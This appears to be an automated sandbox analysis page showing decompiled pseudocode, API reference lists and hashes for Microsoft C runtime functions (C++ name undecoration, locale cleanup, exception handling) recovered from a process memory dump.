0x00c5c331
0x00c5c334
0x00c5c33b
0x00c5c6c9
0x00c5c6d1
0x00c5c6d9
0x00c5c6d9
0x00c5c6dc
0x00c5c6e0
0x00c5c6e0
0x00c5c343
0x00c5c34b
0x00000000
0x00000000
0x00000000
0x00c5c351
0x00c5c351
0x00c5c354
0x00c5c357
0x00c5c358
0x00c5c361
0x00c5c38d
0x00c5c38f
0x00c5c6b9
0x00c5c6b9
0x00c5c6bc
0x00c5c6c0
0x00c5c6c3
0x00000000
0x00c5c6c3
0x00c5c395
0x00c5c397
0x00c5c39a
0x00000000
0x00000000
0x00c5c3a0
0x00c5c3a3
0x00000000
0x00000000
0x00c5c3a9
0x00c5c3ae
0x00c5c3b2
0x00c5c3ba
0x00c5c3c0
0x00c5c3c3
0x00c5c3c4
0x00c5c3c6
0x00c5c4af
0x00c5c4b2
0x00c5c4b4
0x00c5c4bb
0x00c5c4bd
0x00c5c4c2
0x00c5c4c3
0x00c5c52d
0x00c5c4c5
0x00c5c4d1
0x00c5c4d6
0x00c5c4e3
0x00c5c4ed
0x00c5c4f0
0x00c5c4f0
0x00c5c4c3
0x00c5c532
0x00c5c540
0x00c5c541
0x00c5c565
0x00c5c56c
0x00c5c56f
0x00c5c543
0x00c5c553
0x00c5c558
0x00c5c55d
0x00c5c560
0x00c5c560
0x00c5c578
0x00c5c584
0x00c5c589
0x00c5c594
0x00c5c59e
0x00c5c5a1
0x00c5c5a1
0x00c5c5b0
0x00c5c5b4
0x00c5c5bd
0x00c5c5b6
0x00c5c5b6
0x00c5c5b8
0x00c5c5b8
0x00c5c5c4
0x00c5c5f2
0x00c5c5f7
0x00c5c604
0x00c5c611
0x00c5c616
0x00c5c616
0x00c5c624
0x00c5c628
0x00c5c63b
0x00c5c642
0x00c5c645
0x00c5c62a
0x00c5c62a
0x00c5c631
0x00c5c634
0x00c5c634
0x00c5c658
0x00c5c65d
0x00c5c66c
0x00c5c66d
0x00c5c68a
0x00c5c66f
0x00c5c679
0x00c5c679
0x00c5c68f
0x00c5c694
0x00c5c6ae
0x00c5c6b1
0x00c5c6b5
0x00c5c696
0x00c5c699
0x00c5c69e
0x00c5c6a4
0x00c5c6a9
0x00c5c6a9
0x00000000
0x00c5c694
0x00c5c3cf
0x00c5c46d
0x00c5c46d
0x00c5c470
0x00c5c475
0x00c5c475
0x00c5c479
0x00c5c519
0x00000000
0x00c5c519
0x00c5c482
0x00000000
0x00000000
0x00c5c489
0x00c5c48e
0x00c5c49b
0x00c5c49c
0x00c5c4f5
0x00c5c4fc
0x00c5c4ff
0x00c5c49e
0x00c5c49e
0x00c5c4a4
0x00c5c4a9
0x00c5c4ac
0x00c5c4ac
0x00000000
0x00c5c49c
0x00c5c3d5
0x00c5c3de
0x00c5c3f3
0x00c5c3f5
0x00c5c3fd
0x00c5c403
0x00c5c406
0x00c5c40e
0x00c5c455
0x00c5c45d
0x00c5c460
0x00c5c410
0x00c5c420
0x00c5c425
0x00c5c432
0x00c5c439
0x00c5c43c
0x00c5c43c
0x00c5c463
0x00c5c466
0x00000000
0x00c5c466
0x00c5c363
0x00c5c367
0x00000000
0x00c5c36d
0x00c5c370
0x00c5c370
0x00c5c373
0x00c5c376
0x00c5c378
0x00c5c381
0x00c5c388
0x00c5c388
0x00000000
0x00c5c381
0x00c5c367

APIs

DName::operator+.LIBCMT ref: 00C5C3F5
DName::operator+.LIBCMT ref: 00C5C432
DName::DName.LIBVCRUNTIME ref: 00C5C446
DName::operator+.LIBCMT ref: 00C5C455
DName::operator+.LIBCMT ref: 00C5C4E3
DName::operator|=.LIBCMT ref: 00C5C4FF
DName::DName.LIBVCRUNTIME ref: 00C5C50B
DName::operator+.LIBCMT ref: 00C5C519
DName::operator+.LIBCMT ref: 00C5C553
DName::operator+.LIBCMT ref: 00C5C594
UnDecorator::getReturnType.LIBCMT ref: 00C5C5C4
operator+.LIBVCRUNTIME ref: 00C5C6D1

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator+$NameName::$Decorator::getName::operator|=ReturnTypeoperator+
String ID:
API String ID: 1186856153-0
Opcode ID: 0551f225dcde04b2dec58c812304725fca127412cec2f1cd29017837d6e418f0
Instruction ID: 371db9163a0afcd0af95080a01ec9b88abbc2f6921f023a7c5706c9a018a9c8f
Opcode Fuzzy Hash: 0551f225dcde04b2dec58c812304725fca127412cec2f1cd29017837d6e418f0
Instruction Fuzzy Hash: 03C182B9900308EFCB04DF94D8D5AEDBBB4EB18305F144169F916A7291EF349A88DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00C5D824, Relevance: 19.8, APIs: 13, Instructions: 301
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00C5D824(void* __edx, signed int* _a4) {
				signed int _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				char _v60;
				intOrPtr _v64;
				char* _v68;
				char _v76;
				char _v84;
				char _v92;
				char _v100;
				char _v108;
				char _v116;
				char _v124;
				char _v132;
				char _v140;
				char _v148;
				char _v156;
				char _v164;
				char _v172;
				char _v180;
				char _v188;
				char _v196;
				char _v204;
				char _v212;
				char _v220;
				char _v228;
				char _v236;
				char _v244;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t90;
				intOrPtr _t91;
				intOrPtr* _t92;
				intOrPtr _t93;
				signed int* _t96;
				char* _t99;
				void* _t101;
				signed int* _t102;
				void* _t106;
				void* _t109;
				void* _t118;
				void* _t122;
				void* _t125;
				char* _t129;
				void* _t131;
				void* _t132;
				void* _t135;
				char* _t141;
				void* _t144;
				intOrPtr* _t153;
				signed int _t164;
				char* _t174;
				signed int* _t176;
				char* _t177;
				intOrPtr* _t182;
				signed int* _t186;
				signed int* _t191;
				signed int _t196;
				signed int* _t199;
				void* _t203;
				void* _t204;
				signed int* _t206;
				void* _t207;

				_t203 = __edx;
				_t206 = _a4;
				 *_t206 =  *_t206 & 0x00000000;
				_t206[1] = _t206[1] & 0x00000000;
				_t164 = 0;
				while(1) {
					_t90 =  *0xca3e38; // 0x0
					_t91 =  *_t90;
					if(_t91 == 0 || _t91 == 0x40) {
						break;
					}
					if( *0xca3e44 == 0 ||  *0xca3e45 != 0) {
						if( *_t206 != 0) {
							_v44 = "::";
							_v40 = 2;
							_t185 = E00C58EDB( &_v108,  &_v44);
							E00C59346(_t156,  &_v52, _t206);
							 *_t206 = _v52;
							_t206[1] = _v48;
							if(_t164 != 0) {
								_t186 = E00C592D7(_t185,  &_v116, 0x5b, _t206);
								_t207 = _t207 + 0xc;
								_t164 = 0;
								 *_t206 =  *_t186;
								_t206[1] = _t186[1];
							}
						}
						_t99 =  *0xca3e38; // 0x0
						if( *_t99 != 0x3f) {
							_t101 = E00C5F12B(_t203, _t204,  &_v92, 1, 0);
							_t174 =  &_v100;
							L36:
							_t207 = _t207 + 0xc;
							L37:
							_t102 = E00C59346(_t101, _t174, _t206);
							L38:
							_t176 = _t102;
							 *_t206 =  *_t176;
							_t206[1] = _t176[1];
							L39:
							if(_t206[1] == 0) {
								continue;
							}
							break;
						}
						_t15 = _t99 + 1; // 0x1
						_t177 = _t15;
						 *0xca3e38 = _t177;
						_t106 =  *_t177 - 0x24;
						if(_t106 == 0) {
							_t71 = _t177 - 1; // 0x0
							 *0xca3e38 = _t71;
							_t101 = E00C5F12B(_t203, _t204,  &_v244, 1, 0);
							_t174 =  &_v84;
							goto L36;
						}
						_t109 = _t106 - 1;
						if(_t109 == 0) {
							L32:
							E00C58E5B( &_v76, 0xca3e38, 0x40);
							_v68 = "`anonymous namespace\'";
							_v64 = 0x15;
							E00C59346(E00C58EDB( &_v236,  &_v68),  &_v20, _t206);
							 *_t206 = _v20;
							_t206[1] = _v16;
							_t182 =  *0xca3e30; // 0x0
							__eflags =  *_t182 - 9;
							if(__eflags != 0) {
								E00C59590(_t182,  &_v76);
							}
							goto L39;
						}
						_t118 = _t109 - 0x1a;
						if(_t118 == 0) {
							__eflags =  *((char*)(_t177 + 1)) - 0x5f;
							if(__eflags != 0) {
								L31:
								_push( &_v204);
								_t122 = E00C592D7(_t177,  &_v212, 0x60, E00C5B971(_t164, _t204, _t206, __eflags));
								_t207 = _t207 + 0x10;
								_t101 = E00C59368(_t122,  &_v220, 0x27);
								_t174 =  &_v228;
								goto L37;
							}
							__eflags =  *((char*)(_t177 + 2)) - 0x3f;
							if(__eflags != 0) {
								goto L31;
							}
							_t52 = _t177 + 1; // 0x2
							 *0xca3e38 = _t52;
							_t125 = E00C5C98D( &_v188, 0, 0);
							_t207 = _t207 + 0xc;
							_t191 = E00C59346(_t125,  &_v196, _t206);
							 *_t206 =  *_t191;
							_t206[1] = _t191[1];
							_t129 =  *0xca3e38; // 0x0
							__eflags =  *_t129 - 0x40;
							if(__eflags != 0) {
								goto L39;
							}
							L30:
							 *0xca3e38 =  *0xca3e38 + 1;
							goto L39;
						}
						_t131 = _t118;
						if(_t131 == 0) {
							goto L32;
						}
						_t132 = _t131 - 8;
						if(_t132 == 0) {
							_t46 = _t177 + 1; // 0x2
							 *0xca3e38 = _t46;
							_t135 = E00C5F12B(_t203, _t204,  &_v164, 1, 0);
							_t207 = _t207 + 0xc;
							_t102 = E00C59346(E00C59368(_t135,  &_v172, 0x5d),  &_v180, _t206);
							_t164 = 1;
							goto L38;
						}
						_t222 = _t132 == 8;
						if(_t132 == 8) {
							_t18 = _t177 + 1; // 0x2
							_t19 =  &_v8;
							 *_t19 = _v8 & 0;
							__eflags =  *_t19;
							_v12 = 0;
							 *0xca3e38 = _t18;
							while(1) {
								E00C5F12B(_t203, 0,  &_v36, 1, 0);
								_t196 = _v32;
								_t207 = _t207 + 0xc;
								__eflags = _t196;
								if(_t196 != 0) {
									_t196 = 2;
									_t204 = 0;
									__eflags = 0;
								} else {
									__eflags = 0;
									if(0 == 0) {
										_t204 = _v36;
									} else {
										_v28 = _v36;
										_v24 = _t196;
										_v60 = "::";
										_v56 = 2;
										E00C593E8( &_v28,  &_v60);
										_t153 = E00C59346( &_v28,  &_v140,  &_v12);
										_t204 =  *_t153;
										_t196 =  *(_t153 + 4);
									}
								}
								_v8 = _t196;
								_v12 = _t204;
								__eflags = _t196;
								if(__eflags != 0) {
									break;
								}
								_t141 =  *0xca3e38; // 0x0
								__eflags =  *_t141 - 0x40;
								if( *_t141 != 0x40) {
									continue;
								}
								_t144 = E00C592D7(_t196,  &_v148, 0x5b,  &_v12);
								_t207 = _t207 + 0xc;
								_t199 = E00C59368(_t144,  &_v156, 0x5d);
								 *_t206 =  *_t199;
								_t206[1] = _t199[1];
								goto L30;
							}
							_t206[1] = _t206[1] & 0x00000000;
							 *_t206 =  *_t206 & 0x00000000;
							_t206[1] = 2;
							goto L39;
						} else {
							_t101 = E00C5C7A2(_t177, _t203, _t222,  &_v124);
							_t174 =  &_v132;
							goto L37;
						}
					} else {
						L46:
						return _t206;
					}
				}
				_t92 =  *0xca3e38; // 0x0
				_t93 =  *_t92;
				if(_t93 == 0) {
					__eflags =  *_t206;
					_push(1);
					if( *_t206 != 0) {
						_v20 = "::";
						_v16 = 2;
						_t96 = E00C59346(E00C59324(E00C58F7B( &_v100),  &_v92,  &_v20),  &_v84, _t206);
						 *_t206 =  *_t96;
						_t206[1] = _t96[1];
					} else {
						E00C59236(_t206);
					}
				} else {
					if(_t93 != 0x40) {
						_t206[1] = _t206[1] & 0x00000000;
						 *_t206 =  *_t206 & 0x00000000;
						_t206[1] = 2;
					}
				}
				goto L46;
			}

0x00c5d824
0x00c5d82f
0x00c5d833
0x00c5d836
0x00c5d83a
0x00c5d83c
0x00c5d83c
0x00c5d841
0x00c5d845
0x00000000
0x00000000
0x00c5d85a
0x00c5d86c
0x00c5d871
0x00c5d87c
0x00c5d88d
0x00c5d88f
0x00c5d897
0x00c5d89c
0x00c5d8a1
0x00c5d8af
0x00c5d8b1
0x00c5d8b4
0x00c5d8b8
0x00c5d8bd
0x00c5d8bd
0x00c5d8a1
0x00c5d8c0
0x00c5d8c8
0x00c5db3e
0x00c5db43
0x00c5db46
0x00c5db46
0x00c5db49
0x00c5db4d
0x00c5db52
0x00c5db52
0x00c5db56
0x00c5db5b
0x00c5db5e
0x00c5db62
0x00000000
0x00000000
0x00000000
0x00c5db62
0x00c5d8ce
0x00c5d8ce
0x00c5d8d1
0x00c5d8da
0x00c5d8dd
0x00c5db19
0x00c5db1e
0x00c5db2c
0x00c5db31
0x00000000
0x00c5db31
0x00c5d8e3
0x00c5d8e6
0x00c5dac0
0x00c5daca
0x00c5dad2
0x00c5dae0
0x00c5daf3
0x00c5dafb
0x00c5db00
0x00c5db03
0x00c5db09
0x00c5db0c
0x00c5db12
0x00c5db12
0x00000000
0x00c5db0c
0x00c5d8ec
0x00c5d8ef
0x00c5da2c
0x00c5da30
0x00c5da87
0x00c5da8d
0x00c5da9d
0x00c5daa2
0x00c5dab0
0x00c5dab5
0x00000000
0x00c5dab5
0x00c5da32
0x00c5da36
0x00000000
0x00000000
0x00c5da38
0x00c5da3d
0x00c5da4b
0x00c5da50
0x00c5da62
0x00c5da66
0x00c5da6b
0x00c5da6e
0x00c5da73
0x00c5da76
0x00000000
0x00000000
0x00c5da7c
0x00c5da7c
0x00000000
0x00c5da7c
0x00c5d8f6
0x00c5d8f9
0x00000000
0x00000000
0x00c5d8ff
0x00c5d902
0x00c5d9eb
0x00c5d9f0
0x00c5d9fe
0x00c5da03
0x00c5da20
0x00c5da25
0x00000000
0x00c5da25
0x00c5d908
0x00c5d90b
0x00c5d921
0x00c5d924
0x00c5d924
0x00c5d924
0x00c5d927
0x00c5d92a
0x00c5d92f
0x00c5d937
0x00c5d93c
0x00c5d93f
0x00c5d942
0x00c5d944
0x00c5d98e
0x00c5d98f
0x00c5d98f
0x00c5d946
0x00c5d946
0x00c5d948
0x00c5d987
0x00c5d94a
0x00c5d94d
0x00c5d953
0x00c5d95a
0x00c5d961
0x00c5d968
0x00c5d97b
0x00c5d980
0x00c5d982
0x00c5d982
0x00c5d948
0x00c5d991
0x00c5d994
0x00c5d997
0x00c5d999
0x00000000
0x00000000
0x00c5d99b
0x00c5d9a0
0x00c5d9a3
0x00000000
0x00000000
0x00c5d9b2
0x00c5d9b7
0x00c5d9ca
0x00c5d9ce
0x00c5d9d3
0x00000000
0x00c5d9d3
0x00c5d9db
0x00c5d9df
0x00c5d9e2
0x00000000
0x00c5d90d
0x00c5d911
0x00c5d917
0x00000000
0x00c5d917
0x00c5dbd0
0x00c5dbd0
0x00c5dbd5
0x00c5dbd5
0x00c5d85a
0x00c5db68
0x00c5db6d
0x00c5db71
0x00c5db84
0x00c5db87
0x00c5db89
0x00c5db97
0x00c5db9e
0x00c5dbc0
0x00c5dbc7
0x00c5dbcc
0x00c5db8b
0x00c5db8d
0x00c5db8d
0x00c5db73
0x00c5db75
0x00c5db77
0x00c5db7b
0x00c5db7e
0x00c5db7e
0x00c5db75
0x00000000

APIs

DName::operator+.LIBCMT ref: 00C5D88F
DName::operator+.LIBCMT ref: 00C5D9C5

Part of subcall function 00C593E8: shared_ptr.LIBCMT ref: 00C59404

DName::operator+.LIBCMT ref: 00C5DA11
DName::operator+.LIBCMT ref: 00C5DA20
DName::operator+.LIBCMT ref: 00C5D97B

Part of subcall function 00C5F12B: DName::operator=.LIBVCRUNTIME ref: 00C5F1BA

DName::operator+.LIBCMT ref: 00C5DB4D
DName::operator=.LIBVCRUNTIME ref: 00C5DB8D
DName::DName.LIBVCRUNTIME ref: 00C5DBA5
DName::operator+.LIBCMT ref: 00C5DBB4
DName::operator+.LIBCMT ref: 00C5DBC0

Part of subcall function 00C5F12B: Replicator::operator[].LIBVCRUNTIME ref: 00C5F168

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator+$Name::operator=$NameName::Replicator::operator[]shared_ptr
String ID:
API String ID: 1026175760-0
Opcode ID: f361cf698c94d4355b755a5040df6f1cd2bfda4919ad2b8e84696e8b1dd031cb
Instruction ID: 1932075fbe8f2f112df6373c0c76160210b33425659b7425904e4aff959785d5
Opcode Fuzzy Hash: f361cf698c94d4355b755a5040df6f1cd2bfda4919ad2b8e84696e8b1dd031cb
Instruction Fuzzy Hash: BDC1C379900344DFDB24CFA4C895BEEB7F9AB09305F04449DF946A7291EB719A8CCB44

Uniqueness

Uniqueness Score: -1.00%

Function 00C84F06, Relevance: 19.6, APIs: 13, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C84F06(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0xca38b8) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E00C7CA6E(_t46);
							E00C83F4A( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E00C7CA6E(_t47);
							E00C8443F( *((intOrPtr*)(_t74 + 0x88)));
						}
						E00C7CA6E( *((intOrPtr*)(_t74 + 0x7c)));
						E00C7CA6E( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E00C7CA6E( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E00C7CA6E( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E00C7CA6E( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E00C7CA6E( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E00C85077( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0xca31a8) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E00C7CA6E(_t31);
							E00C7CA6E( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E00C7CA6E(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E00C7CA6E(_t74);
			}

0x00c84f0e
0x00c84f12
0x00c84f1a
0x00c84f23
0x00c84f28
0x00c84f2f
0x00c84f37
0x00c84f3f
0x00c84f4a
0x00c84f50
0x00c84f51
0x00c84f59
0x00c84f61
0x00c84f6c
0x00c84f72
0x00c84f76
0x00c84f81
0x00c84f87
0x00c84f28
0x00c84f88
0x00c84f90
0x00c84fa3
0x00c84fb6
0x00c84fc4
0x00c84fcf
0x00c84fd4
0x00c84fdd
0x00c84fe5
0x00c84fe6
0x00c84fec
0x00c84fef
0x00c84ff2
0x00c84ff9
0x00c84ffb
0x00c84fff
0x00c85007
0x00c8500e
0x00c85014
0x00c85015
0x00c85015
0x00c8501c
0x00c8501e
0x00c85023
0x00c8502b
0x00c85030
0x00c85031
0x00c85031
0x00c85034
0x00c85037
0x00c8503a
0x00c8503d
0x00c8503d
0x00c8504d

APIs

___free_lconv_mon.LIBCMT ref: 00C84F4A

Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83F67
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83F79
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83F8B
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83F9D
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83FAF
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83FC1
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83FD3
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83FE5
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83FF7
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C84009
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C8401B
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C8402D
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C8403F

_free.LIBCMT ref: 00C84F3F

Part of subcall function 00C7CA6E: HeapFree.KERNEL32(00000000,00000000,?,00C79D3C), ref: 00C7CA84
Part of subcall function 00C7CA6E: GetLastError.KERNEL32(?,?,00C79D3C), ref: 00C7CA96

_free.LIBCMT ref: 00C84F61
_free.LIBCMT ref: 00C84F76
_free.LIBCMT ref: 00C84F81
_free.LIBCMT ref: 00C84FA3
_free.LIBCMT ref: 00C84FB6
_free.LIBCMT ref: 00C84FC4
_free.LIBCMT ref: 00C84FCF
_free.LIBCMT ref: 00C85007
_free.LIBCMT ref: 00C8500E
_free.LIBCMT ref: 00C8502B
_free.LIBCMT ref: 00C85043

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: b883fac4d1da4e82b7792c8b1ce8d00535509f549d3939b2b38039c02e57cea4
Instruction ID: bba04d2b96e296a26e6e9cf4dea6bb8096c1845c28c1fb2c5cf9045c02b1e181
Opcode Fuzzy Hash: b883fac4d1da4e82b7792c8b1ce8d00535509f549d3939b2b38039c02e57cea4
Instruction Fuzzy Hash: 59318F3150060A9FEB24FA78D885B5A73E9AF10765F10841DF169EB191DF72EE40EB18

Uniqueness

Uniqueness Score: -1.00%

Function 00C609FB, Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 304
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00C609FB(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E00C6182D(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E00C7A820(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E00C58862(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E00C58862(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E00C5FEA8(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E00C5FDDB(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E00C6097B(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E00C7A820(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
